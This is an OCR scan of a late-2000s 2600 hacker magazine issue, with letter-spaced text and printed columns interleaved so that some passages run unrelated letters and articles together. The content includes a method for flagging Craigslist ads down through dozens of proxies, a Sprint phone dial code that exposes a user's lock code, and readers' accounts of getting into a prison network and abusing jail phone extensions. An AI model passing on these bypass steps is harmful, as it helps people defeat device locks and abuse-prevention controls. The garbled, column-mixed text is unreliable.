n u m ber of f lags i t  ta kes can va ry by c i ty, l i st, th rough a proxy. When these peop le f lag, C L  
a n d  accou nt.  An  account that h a s  a h i story of wants it to count .  It is a l so very poss i b l e  that C L  
gett i n g  f lagged down may ten d  t o  h ave posted has con c l u ded that proxy flaggi n g  does more 
ads wi th  l ow t h resholds .  However an acco u nt good than  h arm, that is to say a n  i nd i v i d u a l  
i s  n o t  n eeded t o  post an ad .  Posts m a d e  without  f laggi n g  more than once h e l ps to take down 
a user account  may ten d  to be l ow as wel l .  I n  bad ads more often than  not. 
periods of h eavy spam, wh ich  seems to be Finding Proxies 
a l ways, CL  may l ower the f lag thresho lds .  Of cou rse, Google i s  you r  good b uddy. 

Proxy Flagging Search for "proxy servers " .  H ere i s  a l i n k  to a 
Proxy servers h ide your I P  address and CL proxy server that in  turn  provides access to a 

o n l y  sees the I P  address of the proxy. Anyone sma l l  network of proxy servers: 
can use prox ies to flag ads more than once h t tp : / / demo 1 . proxy s p l i t . c om 
and have the flags cou nt. Enough proxy servers Proxy servers are p retty easy to fi nd .  
a t  my d i sposa l ensures that I can a lways flag Risks 
a n  ad down.  I usua l l y  have about 50 proxies I can not swear that every proxy server i s  safe. 
bookmarked . I a l so have ways to eas i l y  fi nd Some may be the too l s  of spam mers look i n g  to 
more when needed . Proxy bookmarks do exp i re take over mach i nes a n d  turn them i n to spam 
and need to be rep laced . bots . So before goi n g  crazy with  proxy servers 

Most of my proxy flaggi ng ta kes p l ace on m a ke s u re W i ndows i s  u p  to date w i th sec u r i ty 
one l i st i n  one c ity. Someti mes, I venture out patches and v i ru s/spywa re u pdates. A better 
i nto other l i sts in my c ity and other c i t ies .  I n  cho ice wou l d  b e  t o  u s e  L i n u x  or M a c  O S X  for 
over a yea r of proxy flagging I have never seen proxy f lagg i ng.  
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by Ian Murphy (aka Backspace) 
back_space@hackermai l .com 

Th i s  a rt i c l e  is i n  response to Agent ZerO ' s  
a rt ic le, Password Memoriza tion Mnemonic 
i n  the Spr i ng 2 008 issue, i n  wh ich  he out l i nes 
h i s  method for generat i ng  and remember ing 
comp lex passwords that  wou ld  not  be eas i l y  
guessed . There a re a few fu ndamenta l  f laws 
in the password generat ion process .  Most 
notab ly, there i s  a commona l i ty or "cr ib "  
wi th i n  the passwords such that  i f  any one 
of the passwords i s  comprom i sed, i t  wou l d  
comprom i se a l l  other passwords generated 
us i ng  th i s  a l gor i thm .  

Password Generation 
Suffice i t  to say that most of us enjoy 

mus ic  and/or l i teratu re. Th i s  wi l l  be the root 
of ou r  password generation a l gor i th m .  The 
idea is to take a ph rase, poem, or ly r ic  that 
you a l ready have memori zed and leverage 
that knowledge to generate a long, pseudo­
random str i ng that w i l l  be easy enough to 
remember. Let ' s  say that in you r  i d l e  and 
m i sgu ided youth,  you actu a l l y  memor ized 
the l yr ics to " I ce I ce Baby" (remember that 
t h i s  is on l y  bei ng used as an  examp le, 
I admi t  to noth i ng ! ) .  The lyr ics  go, as the 
I nternet remembers them, as fo l lows: 

"Al r ight stop, co l l aborate and l i sten ,  Ice 
i s  back with my brand new i nvent ion "  

Step 1 :  take the fi rst l etter of  each word 
and wr i te it out as a s i ng le  stri ng:  

AscalIibwmbn i 

Now we have a 1 3  character non-Eng l i s h  
word . Not too bad, bu t  i t  sti l l  wou l d n ' t  take 
a bruteforcer too long to crack, as we' re 
on l y  us i ng  the 2 6  characters of the Eng l i sh  
a lphabet. We need to  up  the password 
comp lexity, somewhat. 

Step 2: add some spec i a l  cha racters and  
n u mbers. As far as th i s  goes, I norma l ly 
perform a character substi tut ion to the 
str i ng  to get someth i ng  l i ke th i s .  

As c @ l l l bwmbn l ! 

As you can see, I ' ve added a b i t  of 
comp lex i ty to the password as wel l as  
add i ng  a punctuat ion mark to the end .  

Vectors of  Attack 
Natura l l y, th i s  method generates a 

password that is h i gh l y  res i stant to brute­
forc i ng (at l east without cons iderab le  
resou rces) .  As a lways, th i s  wi l l  not  prevent 
you from hav ing  you r  passwords sto len ,  
e i ther  from the webs i te you dea l with ,  or 
beca use you practice u nsafe logon by 
sen d i ng u nencrypted passwords across the 
I nternet. 

The Benefits 
One of the benefits of th i s  method is that 

you r  passwords a re as easy to remember 
as that song that won ' t  l eave you r  head or 
that Dear Penthouse l etter you memori zed 
as a teen .  Add it iona l l y, i t  is an extens i b l e  
a l gor i thm i n  that you can  add  password 
length by us i ng  more of the ly r ic/poem.  

The Drawbacks 
The major d rawback I see in t h i s i s  

that there i s  no d i rect l i nk between the 
password and  the website or resou rce you 
a re request i ng .  I f  anyone can suggest a 
su itab le  method, p lease let me know. 

Conclusion 
I ' ve been u s i ng th i s  m nemon ic  for the 

last five years and found that i t  has worked 
we l l  to date. I have noticed a few s i tes that 
don ' t  want me to use spec i a l  cha racters 
in my passwords, so I ' ve had to work 
it  a rou nd a l i tt l e  bit by lengthen i ng the 
sou rce str i ng and l i m it i ng  myse l f  to a lpha­
n u mer ic  passwords .  I have noticed that 
th i s  i s  chang i ng over t ime and that most 
s i tes I access now perm it  the use of spec i a l  
characters i n  my passwords. 

Many thanks to TheJick and Typoninja 
for reviewing the article. Shouts to the old 

Dievo crew! 
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There's a major f law i n  the secur i ty of user 
generated lock codes on severa l Spr int  cel l 
phones.  The l ock code I ' m  referri ng to is the one 
common l y  used to " lock p ictures" or "secu rity 
opt ions" on the device. Th is  does not work for 
a l l  devices. On some devi ces you need the MSL 
code, which through some s i m p l e  research you 
can f ind as wel l .  The MSL code i s  a serv ice 
progra m i ng code Sprint enters i nto the dev ice 
and tries to keep secret from the consumer 
(probab ly  for this and other reasons) .  There's free 
software out there that a l lows you to retrieve it 
on the f ly. 

The fo l low i n g  works more with newer phones 
l i ke the popu lar  Spr int  LG-2 60 R u mor, among 
others, without the need of the MSL .  It  can be 
done i n  about s ix  seconds.  It 's rea l l y  s i mple .  
From the phone's main screen, d ia l  " # # 1 2 8 2 # "  
( i n  the i ndustry w e  refer to t h i s  as  # # DATA#) .  Th i s  
i s  a troub leshoot ing screen for I nternet or "v is ion 
serv i ces" on ce l l  phones.  An enti re a rt ic le  cou ld  
be written about  the th i ngs you can do i n  here, 
but j ust exp lore for you rself.  The screen you 're 
look ing  for is t i t led "Advanced." From there 
you ' l l  fi nd a screen ca l led " lock code." B i ngo. 

If you need the MSL, it  w i l l  prompt when you 
c l ick "Advanced." Near ly a l l  ce l l  p hones have 
th i s  flaw, but they're protected by the MSL code. 
I guess they removed that secu ri ty featu re . . . .  

There are probab l y  s i m i l a r  exp lo i ts for the 
other major ce l l  phone compan ies as wel l .  

S i m ple, easy, fu n .  Enjoy. 
Pathogen 

For the record, we would like to have an 
"entire article [that] could be written about the 
things you can do in here. N As no doubt our 
readers would too. 
Dear 2600: 

I n  response to Car l 's S u m mer 2 008 question 
about G PS transmiss ions  (apologies if  this has 
a l ready been suggested),  he m ight want to 
consider APRS (Automatic Packet Report ing  
System) .  I t  can be used to report G PS pos it ions 
by convert i n g  the data and transm i tt ing  i n  an  
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Quarx 
Dear 2600: 

ZoeB's a rt ic le  in you r  l ast issue ( 2 5 : 3 ) , 
"Watch i ng the Watchers," d i scussed how to 
detect a n d  avoid  Googl e  Ana lyt ics .  H owever, I 
wou l d  suggest that the so l ut ion is a c l ass ic case 
of overengi neeri ng:  app l y i n g  a com p l i cated 
solut ion where an easy one wi l l  do. (Ser ious ly  -
sett ing  up a whole Apache server j ust for th i s ? )  

I n  th i s  case, it  i s  as s imp le  as us ing  F i refox and 
i nsta l l i n g  the excel lent NoScr ipt  p l u g i n .  Googl e  
Ana lyt ics w i l l  show as a b l ocked j S  source i n  
you r  status  bar, s i m u ltaneous ly  prevent ing i t s  use 
to track you and te l l i ng  you who uses i t .  

People i nterested in th is  may a l so be 
i nterested in FoxyProxy + TorNida l ia ,  Ad B lock 
P l us, TrackMeNot, and F i rebug. 

Sai Emrys 
Dear 2600: 

Every federa I prison has a networked 
Lex isNex is  database computer i ntended for legal 
research by i n m ates . B ut it 's con nected to the 
same network that the B u reau of Prisons officers' 
computers a re connected to. I t's not a c l osed 
term i n a l .  So i t  is poss ib le  to get i n .  I d i d  i t  when 
I was at the Terre Haute pen itent iary. 

I n  addit ion,  when I was in county j a i l  i n  
Port land,  Oregon,  I f igu red out that you can 
access d i fferent extens ions that a l l ow free cou rt 
c a l l s .  If you con nect to a voi cem a i l ,  you can 
enter a d i fferent extens ion and get pretty much 
any extens ion i n  the b u i l d ing .  One guy d i d  i t  
from a n  i nmate payphone and ca l led up the 
k i tchen and ordered extra trays for h i mself.  

Very Anonymous 
Probably not the wisest use of that little 

security hole. But it does show that  where there's 
a will, there's almost always a way. 
Dear 2600: 

You and you r  readers may be interested in the 
fol l ow i n g  l ow-techno logy method of check ing  a 
computer for spyware. The bas i c  i dea is to tr ick 
an  u lt i m ate rec i p ient of the spyware i nto · 

. 
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its hand.  Th is  is done by the u lt i mate rec i p ient 
contact ing the user of this method ("user" ) .  

The  user  shou l d  select a hobby, i nterest, 
or past ime (" H I P")  wh ich  has the fo l lowi ng 
characterist ics.  F i rst, the H I P  shou l d  not be 
anyth ing  in which  the user (or anyone c l ose to 
the user) has ever had the s l ightest part ic i pation 
or i nterest. Th is  i n c reases the probab i l ity that, if  
the user i s  contacted about the H I P, it  wi l l  be 
because of spywa re and not some other ma rket i n g  
techn ique.  Second, t h e  H I P  shou l d  b e  expens ive 
enough to make spyware uti l ization worthwh i l e  
(e.g. ,  model cars) b u t  not s o  expensive that the 
i nformation sought wou l d  relate to too few 
ta rgets (e.g. ,  d iamond co l l ect i ng) . Th i rd, the H I P  
shou l d  not b e  controvers i a l  o r  subj ect to any 
spec i a l  lega l contro l s .  Such an i nterest cou l d  
get t h e  user on h i g h l y  u ndes i rab le  l i sts or l i m i t  
t h e  i nterest o f  spyware users. I n t h e  fo l l owi  ng, 
the H I P  of snowboarding wi l l  be used as an 
example .  

The user  shou l d  make it a regu l a r  pract ice 
to search the I nternet for snowboa rd i ng s i tes. 
Searches shou l d  be conducted by a l l  of the ISPs 
to which the user has access and u s i ng a l l  of the 
search engi nes wh ich  the user norma l l y  uti l i zes. 
Th is  way, if  the spyware has l i m ited ra nge of 
observat ion,  then i t  w i l l  be more l i ke ly  to revea l 
itself. When snowboa rd i n g  s ites are l ocated, 
the user shou ld  c l ick onto them and rema i n  i n  
the s i te an amount o f  t ime suffic ient to show 
the spyware that the user has a gen u  i ne i nterest 
in snowboard i ng. I t  is i mportant that the user 
shou l d  c l ick  onto such s i tes but never prov ide 
the s i te any i nformation - s i m p l y  c l ick  onto and 
out of the s ite. Th i s  he lps show that the spyware 
i s  on the user's computer and not somewhere 
e lse. 

U nder no c i rcumstances shou l d  the user 
te l l  a nyone e l se that they are u s i ng th i s  method 
and espec i a l l y  not revea l the H I P  chosen .  Th i s  
w i l l  prevent somebody from p l a y i n g  a j oke on 
the user by arrang ing emai l s  or other forms of 
com m u n icat ion from a merchant with i n  the H I P  
com m u n ity. Prudent sec u ri ty measu res, such as 
erasi n g  a l l  tracks on the user's computer, shou ld  
be performed. 

The user s i m p l y  ut i l i zes the above mentioned 
tec h n ique and goes on about their routi ne.  When 
emai led snowboard i n g  advert i s i ng appears in the 
user's i n box, the user knows that their computer 
i s  l i ke ly  i nfected with  spyware. Then appropriate 
action can be take n .  

Th is  method i s  m a i n l y  for detecti ng spyware 
used for commerc i a l  p u rposes such as col lecti ng 
h igh ly  foc u sed ema i l  address l i sts. H owever, 
you r  readers can no doubt a l ter it to detect 
spyware used for other reasons .  

I hope th i s  he lps .  
63585730 

Dear 2600: 
Apparently on September 1 1 ,  1 99 7  the 

rad io show Coast To Coast AM hosted by Art 
Bel l des ignated one phone l i ne for Area 5 1  
employees to ca l l  i n .  A d i stra ught m a n  ca l led i n  
who c l a i med t o  b e  a former Area 5 1  employee 
whose pos i t ion wou ld he tr iangu l ated very soo n .  
He c l a i med t h a t  an  e a r l y  precu rsor t o  t h e  space 
program made contact with extra-d i mens iona l 
bei ngs that a re not what they c l a i m  to be. He 
a l so c l a i med that these beings have i n f i l trated 
many parts of the m i l itary and espec i a l l y  Area 
5 1 . He sa id that many d i sasters a re corn i ng and 
that  the government knows about  them a nd they 
cou l d  beg i n  mov ing  the popu lat ion to many safe 
areas but they are not doing a nyth i n g  about i t  
because they want  most of  the pop u l at ion w i ped 
out so that the few that are left w i l l  he more 
eas i l y  contro l l ab le .  The man then proceeded 
to cry and then the rad io show went off the a i r  
for ha l f  an  hour. The offic i a l  exp l a nation for the 
l ost s igna l was that the network sate l l ite had l ost 
earth lock.  The network engi neers were baffled 
and Art Bel l said in a l l  h i s  years of host ing  rad i o  
shows th i s  h a d  never happened t o  h i m .  A l i n k  
t o  the transcr ipt o f  the d ia log from the m a n  who 
cal led i n  as wel l as a record i ng i n  mp3 format i s  
ava i l ab le  at http ://www. metatech .org/ArC8e l l _  
Area_5 1 _a l iens_aud io_tape .htm l .  

Borked Pseudo Mailed 
It makes for interesting radio but as always 

there are many unanswered questions and 
theories when dealing with this type of subject 
ma tter. One importan t  fact is tha t this caller 
supposedly said it was all a big joke on a later 
program. This, of course, led others to conclude 
tha t  he was now being controlled by the ex/ra­
dimensional beings. And so it goes. 

Alerts 
Dear 2600: 

There was a story c i rc u l at ing recent ly about 
hackers brea k i n g  i nto the Large Hadron Co l l ider 
computer. The art ic le  mentions that the hackers 
"damaged one C E R N  fi le" and s igned off with 
"We a re 2 600 - don't mess with us ."  At fi rst 
g l ance, it wou l d  appear that th i s  may be an  
attempted fra m i ng or demon izat ion of 2600 
Magazine. I wou l d  l i ke to conti nue be l iev ing 
that  no reader nor subscr iber nor staff member 
of 2600 wou l d  actu a l l y  damage any data . That 
i s  not our style .  

Mister Mods 
Anyone can say they're a part of anything. 

What continually amazes us is how someone 
can simply say they're a hacker or a part of 2 600, 
and most of the mass media will believe them 
by defa ult. All it shows is how little the media 
understands who we are and what we stand 
for, as well as how little effort they're willing to 
expend in order to fix the misperceptions. 
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Dear 2600: 
A certa i n  U n iversity Hospita l  located i n  

Centra l M issour i  (wh ich,  b y  the way, i s  assoc i ­
ated with troub le  mentioned i n  nationa l  news 
stories not too long ago about the acc identa l 
re leas ing of a lot of confident ia l  employee i nfor­
miltion for reasons other than those mentioned 
here), makes employees wear 10 badges. These 
partic u l a r  10 badges have bar codes, fu l l  staff 
names, t i t les, and a photo of the employee on 
the front of the badge. Other i nformat ion is 
encoded on the back of the ID badges. 

I t  was fi n a l l y  confi rmed a few days ago what 
i s  actu a l l y  on the bar codes on the front of the 
10 badges . . .  noth i n g  less than the fu l l  Soc i a l  
Secur i ty N u mber o f  t h e  employee ! Th i s  sty le of 
badge has been in use for severa l yea rs and a l l  
employees arc req u i red to wear them when on 
duty - i n c l ud i ng t i mes when they are be i n g  i nter­
v iewed by reporters or hav i ng p i ctures taken for 
photos tbat w i l l  be used for p u b l i c  re lat ions i n  
magaz i nes that a re pri nted b i month ly a n d  left 
out for the p u b l i c  to read in hospita l  lobbies and 
at var ious locat ions on campus.  We were to l d  
that there w a s  a p lan  t o  rep lace a l l  employee 
badges last year, or poss ib ly  the year before tbat, 
but tbat p l a n  was pushed back. They sa id there 
were other "more i m porta nt" issues to take care 
of, such as rec lass ify i ng job t it les for employees 
in cbarge of band l i ng 10 cards so tbat tbey cou l d  
make h igher hour ly  wages . 

Th i s  part i c u l a r  hospita l a l so has an i nter­
est ing  h i story with th i s  type of i ssue, i n c l u d i ng, 
but not l i m ited to, leav ing  networked computers 
logged on to the network without any password 
on the screen saver in a reas where patients a re 
left a l one wa i t ing  for doctors to see them for at 
least 1 5  m i n utes - 45 m i n utes or more i n  some 
c l i n ics .  Th is  i s  the l ive network that has access to 
a great dea l of confident ia l  patient i n format ion ! 

They've a l so been i nvo lved i n  other q ues­
t ionable acts, such as copy i n g  do l la r  b i l l s  at 1 00 

continue to get blamed for them. And so the 
cycle continues. 
Dear 2600: 

Severa l days ago my Last HOPE badge started 
b l i n k i n g  rap id ly  as if gasp i n g  for breath . Then 
somet ime in the wee sma l l  hours of 9-2 3 -08 the 
b l  i n k i  ng stopped and the I ight went out. You can 
stop track ing  me now. 

Naturally. we already knew. 

Assorted Meeting Bits 
Dear 2600: 

rosa 

I am new to you r  com m u n ity but 
have noti ced that you r  Spokane webs ite 
(www.spoka ne2 600.org) i s not u p to date. l n  
fact, I even had troub le  with m y  members h i p  due 
to  the lack of  he lp  and su pport on the webs ite. 
W h i le try i n g  to create a new members h i p, I 
was told that I can not use an ema i l  serv ice that 
req u i res smtp a uthenticat ion and I have searched 
the s i te for support on how to f ix th i s  prob lem or a 
reference to an ema i l  serv i ce prov ider that works 
with you r  members h i p  process yet have been 
u nsuccessfu l in fi n d i n g  the proper he lp  via you r  
Spokane webs ite. It  seems that t h e  forums a n d  
a l l  other aven ues are very l i m ited and prov ide no 
he lp  to me at a l l .  By fix i n g  th i s  prob lem, I be l i eve 
that you may even get more members and more 
people to come to you r  Spoka ne meeti ngs. A l so, 
I wou ld l i ke to know if the meet i ngs for Spoka ne 
are sti l l  once a month.  I tr ied to see if they were 
sti l l  every month and the website says they are, 
however there i s  no i nfo about a recent meet ing .  
I wou l d  a l so l i ke to offer my he lp  i n  keep i ng the 
Spoka ne webs ite u p  to date i n  any way that  I can 
i n c l u d i ng writ i ng art ic les about  the meet i ngs, 
wr i t ing help art i c les for you r  forums/webs ite 
support, and even adm i n i strat i ng the webs ite if 
you are in need of it .  My goa l i s  to he lp  keep 
the Spokane webs ite up to date and he lp grow 
2600's Spokane com m u n ity in any way that I 
can ass ist .  

percent sca le as proof of payment and stor i n g  Acetolyne 
those i mages in a computer imag ing system The websites for the meetings aren 't run 
(wh ich  i s  defi ned as counterfe i t ing accord i ng to by us but by people from those locations who 
the Secret Serv ice's webs ite s i nce the i mage was are interested in helping. Tha t  could be you if 
left at 1 00 percent of the or igi n a l  s i ze), as wel l  as you can put together a decent site and keep 
send i n g  patients letters req uest ing  payments that it updated. As it:, all a volunteer effort, we do 
are s igned with a fa l se patient account  depa rt- occasionally have problems with sites tha t  fall 
ment manager's name. When patients ca l l  i n  victim to a ttrition a n d  apathy. Sometimes this 
to spea k with the ma nager l i sted on the letter even happens to the meetings themselves. Tha t 's 
they received, the customer serv ice agent ta k ing  why w e  rely on people such as yourself t o  let 
the ca l l  w i l l  know not to tra nsfer the patient to us know when things aren 't working properly. 
the rea l department head as the ca l l  is about a n  While W E'  can 't fix the problem from here, we 
acco u nt that is cu rrent ly at a col lect ion agency. can stop publicizing sites and meetings tha t  

, aren 't working and throw our support behind 
We could say we 're surprised by these people who take the time to help make things 

examples of ignorance and poor ethical function efficiently and productively. Since none 
practices but we 're not. They exist everywhere of our meetings are run by any specific person, 
- in businesses, hospitals, government agencies, the opportunity exists for anyone interested in 
schools, you name it. All we can do is continue helping out to step forward. We hope to see this 
to expose them. Of course tha t  means we'll continue happening throughout the world . •  
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Dear 2600: 
I 've been a reader of you r  quarter ly for about 

fou r  years and had a lways wa nted to attend a 
meet ing .  However, none were loca l .  For my fi rst 
meeti ng I had to trave l i n terstate . That's not to say 
that I never before had the opportu n i ty. When 
I fi rst i ntended to turn up,  I cou ld n 't f ind the 
venue .  G rudgi ngly, I retu rned home wonder ing 
whom I had m i ssed out on meet ing .  At  last, th ree 
years after my fa i led attempt, I 've fi n a l l y  made 
it !  

Honestly, I am s u rpr ised at the i nd iv idua l s  I 
met: o lder  bus i nesspeop le, h igh school students, 
u n iversity students, and an eccentric bu nch of IT 
guys.  The one t h i n g  they a l l  had in common was 
how fri end ly  they were, and I fe lt  so wel comed 
i nto the group .  I had fea red be ing the odd one 
out, knowing  that I wou l d  no way have the same 
tech n ica l  k nowl edge as them. B u t  i t  wasn't an 
issue, and it ma kes me wonder how I thought 
that a group of wor l d l y, cu r ious,  and  learned 
peopl e  wou l d  cast out another beca use they 
d i d n 't have that same l evel of experience. Even 
though I was o n l y  there for a br ief amount of 
t i me, and know i n g  that I w i l l  not be ab le  to return 
to a nother meeti ng for severa l months, I w i l l  sti l l  
remember the experience o f  meeti ng peop le  
who fu l l y  share my c u r iosity and concerns.  

I wou ld a l so l i ke to u rge those out there who 
m ight share my prev ious apprehens ions to take 
the p l u nge and go a long to a meet i ng, even i f  i t's 
i n  a d i fferent state or cou ntry. Even if you can 
never attend a nother meet ing  aga i n ,  you ' l l  know 
that there a re others out there. The com m u n ity 
does ex ist .  

D. 
Wha t  you described was exactly the 

a tmosphere that  a 2600 meeting should foster. 
We're very glad it worked out in your case and 
we encourage those of you who are regular 
a ttendees at a meeting to make sure new people 
go away with this impression. This is, after all, 
how we thrive. 

Lau ra wi l l  keynote M i crosoft's Tech Ed 
Conferences i n  New Zea l a n d  a n d  Austra l ia as 
wel l .  

Angela Sherman 
Wireshark U niversity 

We're going to take a wild guess h ere and 
assume tha t  you a ctually had no idea you were 
sending mail to our letters department when you 
emailed letters@2600. com and tha t  this is some 
sort of publicity blitz. ( We only printed a fraction 
of this letter 50 we sure hope you didn 't write all 
of that  just for us. ) For people who actually are 
interested in writing articles for 2600, third party 
agents and other such formalities aren 't necessary. 
Simply send your article to articles@2600. com. 
Please don 't send us mail asking us if we would 
like to receive your article when you a ctually get 
around to writing it. Just send it in . We're also not 
going to go back and forth with you tweaking 
it into perfection.  That's  the writer's job. If it's 
something you think hackers would get a kick 
out of, it is pretty much your moral obligation to 
send it in . We look forward to the deluge. 
Dear 2600: 

I took a year off from 2 600 (my last issue 
p u rchased was the Spr ing 2 00 7  i ssue) ,  and I 
got a couple of quest ions .  What happened to 
the n i ce sp ine  on the Volume 24 edit ions?  They 
made it easy to open and set on a desk to read, 
not to mention the l i tt le  white l i nes that drove 
me n uts for a year (I bought the m iss ing  i ssues 
and saw the Su rprise) . 

And the games. Those were hard, frustrat i ng, 
and, above a l l  e l se, fu n .  I never completed most 
of them, but it  did take up  my t ime and gave me 
someth i n g  to do menta l l y  rather than watch the 
id iot box . Any chance they can come back? 

B ut other than that, the magaz i n e  i s  everyth i ng 
I m i ssed . I t's great to buy and read them aga i n .  I 
a l so love the Best of 2600 book .  J u st sta rt ing  the 
90s and learn i n g  so much along the way. 

Crash the Greenhat 
This is one of the dangers of taking a break 

from 2 600, even a short one. Things change over 

I 
. . time and during the time you were a way we had nqulnes all sorts of reader feedback on the subjects you 

Dear 2600: mentioned. Some of it was quite passiona te. 
Laura Chappe l l ,  Fou nder of Wi reshark Our readers are a lot happier with the old style 

U n ivers i ty and Top Speaker at M i crosoft's Tech Ed spine since there were all manner of problems 
Conference, is i n terested in subm i tt i ng a rt ic les .  with the new one.  And the puzzle just wasn 't 
Laura is a n  expert i n  the a rea of network a n a l YS i s, getting a strong response, certainly not enough 
troub leshoot ing and sec u r ity - her writ i ng sty l e  is  to justify the intense time and effort involved in 
h u morous, easy-to-read, and fi l l ed with tech n i c a l  creating them. However, w e  have started some 
t i ps and tricks she has learned in her 2 0+ years new projects based on the feedback, including 
of ana lyz ing  network traffic .  the book you n o w  have and o u r  new fiction 

Lau ra 's c l ients i n c l ude State, Federa l and  section, both of which have been getting a really 
i nternat iona l  law enforcement agenc ies, j u d i c i a l  good response. S o  please keep your ideas a n d  
members, engi neers and network adm i n istrators, suggestions pouring into our various mailboxes. 
tech n i c i a n s  and deve l opers. Laura i s  an active Dear 2600: 
member of the H igh Techno logy Cr ime I read you 've pub l i shed or you have a database 
I nvestigation Assoc i at ion (HTClA), present ing at with te lephone n u m bers of p u b l i c  payphones of 
thei r year ly  i nternat iona l  conference - th i s  year, B uenos Ai res, Argenti n a .  But  I cou ldn 't f ind them 
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on you r  web page (www.2 600.com/payphones) . 
Wou l d  you be ab le  to give me some he lp  on th i s  
matter? Tha n ks a lot !  

Mario Chiesa 
Simply click on South America and then 

Argentina and you should see the payphones. As 
for telephone numbers, we've never collected 
those, nor do we know of a site tha t has this 
informa tion for Argentina .  We're certain someone 
will write in with this informa tion if it exists. 
Dear 2600: 

I wrote an art ic le  for you r  z i n e  back in 2001  
and was  wonder ing if  it wou l d  be acceptab l e  
t o  s c a n  t h e  a rt i c l e  and m a k e  i t  ava i l ab le  on m y  
website. I u ndersta nd that y o u  a l low people  to 
rep u b l i sh  work subm itted to you that they wrote, 
but I was u n s u re how you wou l d  fee l  i f  I scan ned 
and posted the i m ages of my a rt ic le .  I f  that 
i sn 't coo l ,  I can run the sca ns through a n  OCR 
program, so it i sn 't a big dea l i f  you d i scourage 
repost ing  of you r  i mages and formatt i ng.  

Tha n ks for the fu n z i ne; I espec i a l l y  l ove 
read ing  the letters ! 

frameloss 
We have no problem with this since it's 

something you wrote tha t  was published. It only 
concerns us when people scan the entire issue 
as tha t  adversely affects sales of the issue which 
then adversely affects financing for future issues. 
We have a unique situation since we don 't have 
advertising which is how other magazines offset 
such expenses . We 're entirely dependent on 
reader support to keep going. 
Dear 2600: 

I have a sweet art i c l e  a friend and I wou l d  
l i ke t o  h a n d  over t o  you guys about how t o  avoid 
putt i n g  v u l nera b i l it ies i n  C code. 

I comp lete ly  u n derstand the whole or igi na l  
content t h i n g  but I was wonder ing  if there was 
a ny way I cou l d  know when I cou l d  p u b l i s h  the 
art ic le  on my b l og.  I wa nt to beat the content 
scrapers to the puncb so Google  knows I wrote 
it. Of cou rse, the a rt ic le  w i l l  cred it you guys for 
pub l i s h i ng it and whatnot. . .  not l i ke I don't want 
that PR o  

kinds of different versions of this fear  expressed 
over three decades and we have yet to see 
any real  evidence tha t  supports the theory. But 
the danger of our surveillance sta te eventually 
reaching this degree of a ccountability certainly 
isn 't beyond the realm of possibility and it almost 
seems as if there are members of the public 
who actually want something like this. Clearly, 
we represent those people who don 't, and it's 
only through education and constant vigilance 
tha t  we can sta ve off such a nightmare for the 
foreseeable future. People being intimidated into 
not getting a copy of our magazine only moves 
us closer to the oppressive scenario dreaded by 
so many. 
Dear 2600: 

I wa nted to use you r  wi nter 1 999-2 000 cover 
in a school paper on I n ternet Freedom. In it ,  we 
m ust exa m i ne and a n a l yze the rhetor ic used 
regard i n g  o u r  subject. I am foc u s i n g  most ly  on 
the Free Kev i n  campaign,  the DeCSS i n c i dent, 
and  the ( i n  my opi n ion u nconstitut iona l )  D ig i ta l  
M i l len n i u m  Copyright Act .  We m ust use at least 
fou r  written sou rces and a v i sua l  sou rce. I j ust 
wanted to make s u re that th i s  was okay with 
you .  

LiteralKa 
Not only is it fine with us but we consider 

such citations an honor. We wish you luck on 
the assignment. 
Dear 2600: 

Hel lo, my name i s  Jeff. I want to learn to hack 
and crack but I can not f ind a nyone to he lp me. I 
am o n l y  1 3  years o l d  so I can not rea l l y  come to 
these meet i ngs. Wi l l  you he lp  me? 

Jeff 
This question is always coming up and the 

answer really hasn 't changed over the years. In 
order to develop a hacker mindset, you simply 
have to have the desire to experiment, question 
wha tever you 're told, and share informa tion. 
There is no person who can teach you how 
to do this as it's either your philosophy or it 
isn 't. You can develop skills in whatever field 
you 're interested in (technical or otherwise) by 

Mark reading books, visiting websites, chatting with 
As long as your article isn 't showing up on people involved in tha t  field, and the like. As 

a blog or website before it gets printed in our for meetings, there is no age restriction tha t  we 
pages, what  you dc with it a fter that  point is place on them but we understand it can be hard 
en tirely up to you .  We do appreciate a pointer to get around at your age. This is why we try to 
when you do stick the article somewhere so make them as centrally loca ted as possible. But 
that  it doesn 't appear as if we 're leeching off the obviously that  isn 't always possible, especially 
World Wide Web to fill our pages. outside of major cities. However, there 's almost 
Dear 2600: always someone, even in the smallest and most 

I s  i t  true that a subscr ipt ion (pa i d  by cred it remote locations, tha t  you can share stories, 
card) to you r  magaz i ne wou l d  probably  get you experiences, and knowledge with. Schools, 
on an F B I  watc h l i st? bookstores, and libraries are great places to 

Wyll ie bump into such people. 
If you believe such il thing exists, then making Dear 2600: 

tha t  list as large as possible is the best known I love the maga z i ne and have a l ways enjoyed 
way of fighting it. We have strong doubts tha t  t h e  p ictu res o f  t h e  payphones on t h e  i n s ide covers. 
a list of this sort is out there, as we've heard all I recent ly tr ied my l uck at ltetti l)g my i m age 
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p u b l i shed i n  the magaz i ne, and  I d i d !  I noticed 
in the magaz ine  it says that i f  you r  i mage i s  used, 
the sender gets a one yea r free subscr ipt ion a n d  
a free 2 600 s h i rt .  I have n o t  rece ived a n  ema i l  
about a n y  o f  t h i s  yet. I ' m  wonder ing i f  t h i s  i s  j u st 
tak i ng t ime or was I over looked? 

Pelik 
You should have heard something by now. 

It does get a little delayed sometimes since it's 
always pretty hectic when a new issue has gone 
out. But we do get in touch with everyone. If 
you haven 't received notification by the time 
the next issue is out, then there 's reason to be 
concerned. We suggest that people make sure 
they're emailing us from an account tha t 's  likely 
to stick around for a while to avoid missing our 
email. 
Dear 2600: 

I saw I got pub l i shed in th i s  l atest issue.  
Thanks !  

I ' m p l a n n i ng on wr i t i ng  a nother a rt ic le  for 
you a l l .  Th is  one is a pretty i n -depth one about 
how to attack computers with U b u ntu with 
whole-d i sk-encrypt ion and i nsta l l  rootkits j u st 
with access to the u nencrypted boot part i t ion .  
There's q u i te a b i t  of code and some b i n a ri es, 
i n c l u d i ng the fu l l , but s l ight ly mod ified, sou rce 
code of a coup le  of programs (cryptsetup, 
openssh,  g n u pg) . So, a l l  i n  a l l ,  i t' l l  take u p  qu ite 
a bit more d i s k  space than most of the fi les you 
have in the code repository. Wou l d  it be okay 
for me to j ust i n c l ude a s i ng le tar.gz f i l e  with 
everyt h i n g  for my a rt ic l e  i n  i t  ( I 'm not done,  but 
i t  wi l l  probably  be severa l megabytes)? 

mOuntainrebel 
Yes, tha t  would be the best way to go about 

something like this. As our readers have been 
quite clear on their feelings about code in our 
printed pages, we will continue to publish tha t  
sort o f  thing o n  the website which also makes 
it a whole lot easier to copy. Space isn 't a worry 
there. 
Dear 2600: 

How do I get a ho ld  of you ?  N eed sa les to 
